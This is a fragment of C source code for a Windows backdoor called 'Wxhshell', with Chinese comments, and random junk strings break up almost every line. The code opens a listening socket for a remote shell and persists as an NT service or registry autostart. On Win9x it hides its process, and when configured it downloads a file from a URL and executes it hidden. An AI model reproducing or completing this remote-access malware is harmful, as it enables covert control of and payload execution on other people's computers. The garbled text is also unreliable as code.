Q`NdsS2 :WsHP\r HMODULE hMod; /Oi(5?Jn char procName[255]; Qa\,)<'D: unsigned long cbNeeded; )_n(u3' >8x)\'w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /d">}%Jn (C1~>7L CloseHandle(hProcess); IW>~Yl? B/qN1D]U. if(strstr(procName,"services")) return 1; // 以服务启动 l'M/et{: Aqz $WTHW+ return 0; // 注册表启动 $}0!dR2 } 2y|n!p
T $Ff6nc= // 主模块 T31F8K3x int StartWxhshell(LPSTR lpCmdLine) a7uL{*ZR { jIwN,H1$- SOCKET wsl; ){z#Y#]dP BOOL val=TRUE; tw=A]
a* int port=0; k.2GIc:5 struct sockaddr_in door; 9;uH}j8sE ?.uhp if(wscfg.ws_autoins) Install(); k@s<*C ixK9/5T port=atoi(lpCmdLine); Dgc6rv# F|y0q:U if(port<=0) port=wscfg.ws_port; 'Z=_zG/RX vM]5IHqeE WSADATA data; 0%%y9;o if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JiO8EIM <;'{Tj-" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wq,&0P-v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7cWeB5e?O door.sin_family = AF_INET; [i.c;'Wy/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); W`c$2KS?DO door.sin_port = htons(port); N 3O!8A_ _?y3&4N) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Kjfh};-C closesocket(wsl); 8B-mZFXpK return 1; n7Bv~?DM } mF!4*k %Tu(>vnuj if(listen(wsl,2) == INVALID_SOCKET) { !.MbPPNp closesocket(wsl); a&2x;diF return 1; EYZ&%.Sy5 } OwPHp&{ Y Wxhshell(wsl); +-SO}P WSACleanup(); wtf H3v *JZ9'|v_H return 0; v _:KqdmO] ?b'(39fj } `8#xO{B1 S 1^t;{" // 以NT服务方式启动 g.blDOmlc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KHx;r@{< { O"kb*// DWORD status = 0; ZR0 OqSp] DWORD specificError = 0xfffffff; 'vu]b#l3 ZZwIB3sNhf serviceStatus.dwServiceType = SERVICE_WIN32; zBwqIJfM serviceStatus.dwCurrentState = SERVICE_START_PENDING; u|.|dv'mbp serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :xq{\"r serviceStatus.dwWin32ExitCode = 0; "VHT5k serviceStatus.dwServiceSpecificExitCode = 0; ~`^kP.() serviceStatus.dwCheckPoint = 0; @Q{:m)\ serviceStatus.dwWaitHint = 0; nT2b"wkTT #`U?,>2q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \CE+P5 if (hServiceStatusHandle==0) return; R.l!KIq b{)kup status = GetLastError(); 4+nZ4a>LH? if (status!=NO_ERROR) :w
Y%= { )c1Pj#| serviceStatus.dwCurrentState = SERVICE_STOPPED; py':36' serviceStatus.dwCheckPoint = 0; 6vxRam6[?? serviceStatus.dwWaitHint = 0; WlY\R>x# serviceStatus.dwWin32ExitCode = status; n9 FA`e serviceStatus.dwServiceSpecificExitCode = specificError; jk_yrbLc SetServiceStatus(hServiceStatusHandle, &serviceStatus); \K}KnJ return; -|s%5p| } {~R?f$}""j _D@QsQ_Z serviceStatus.dwCurrentState = SERVICE_RUNNING; #Tag"b` serviceStatus.dwCheckPoint = 0; f\=,_AQ serviceStatus.dwWaitHint = 0; ZAeJTCCk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]9'F<T= $_ }
v0(}"0 3D5adI<aq" // 处理NT服务事件,比如:启动、停止 !>!jLZ0 VOID WINAPI NTServiceHandler(DWORD fdwControl) ubsv\[:C { 7bE`P[ switch(fdwControl) >gq=W5vN( { 8'zfq
]g case SERVICE_CONTROL_STOP: z#|Auc0 serviceStatus.dwWin32ExitCode = 0;
lX/7 serviceStatus.dwCurrentState = SERVICE_STOPPED; hCc%d$wVk serviceStatus.dwCheckPoint = 0; x*tCm8`{ serviceStatus.dwWaitHint = 0; .YH#+T' { {|j-e{* SetServiceStatus(hServiceStatusHandle, &serviceStatus); $AvaOI.l } K.&6c,P] return; 6Fk[wH7 case SERVICE_CONTROL_PAUSE: BT;1"l< serviceStatus.dwCurrentState = SERVICE_PAUSED; '43U v break; <nV 3`L&] case SERVICE_CONTROL_CONTINUE: mr_NArF serviceStatus.dwCurrentState = SERVICE_RUNNING; S:xs[b.ZZ break; Z\QNn case SERVICE_CONTROL_INTERROGATE: 3m21n7F4* break; /:BC<]s }; Uvi@HB HJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Sbc
8Y } SX =^C l
ObY // 标准应用程序主函数 H15!QxD# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &`>dY
/Y { v$q\3#5|' .{bT9Sc5 // 获取操作系统版本 s2 aFme OsIsNt=GetOsVer(); i? #U>0! GetModuleFileName(NULL,ExeFile,MAX_PATH); )PkGT~3I )[&j&AI // 从命令行安装 Dk")/ ib if(strpbrk(lpCmdLine,"iI")) Install(); -sle7 k zH~g5xgh // 下载执行文件 c$u#U~~ if(wscfg.ws_downexe) { 0lcwc"_DZX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LS#_K- WinExec(wscfg.ws_filenam,SW_HIDE); #L*MMC" } [5M! ' u8<Fk
! if(!OsIsNt) { uV'C_H // 如果时win9x,隐藏进程并且设置为注册表启动 **6X9ZIX[ HideProc(); :,/
\E StartWxhshell(lpCmdLine); XC390t } 6/(Z*L"~6k else <3=k if(StartFromService()) >%_i#|dE> // 以服务方式启动 ]i
`~J StartServiceCtrlDispatcher(DispatchTable); ,s@S`KS0 else chE}`I? // 普通方式启动 P;&U3i StartWxhshell(lpCmdLine); NX]6RZr- (15.?9 return 0; NB( GE }
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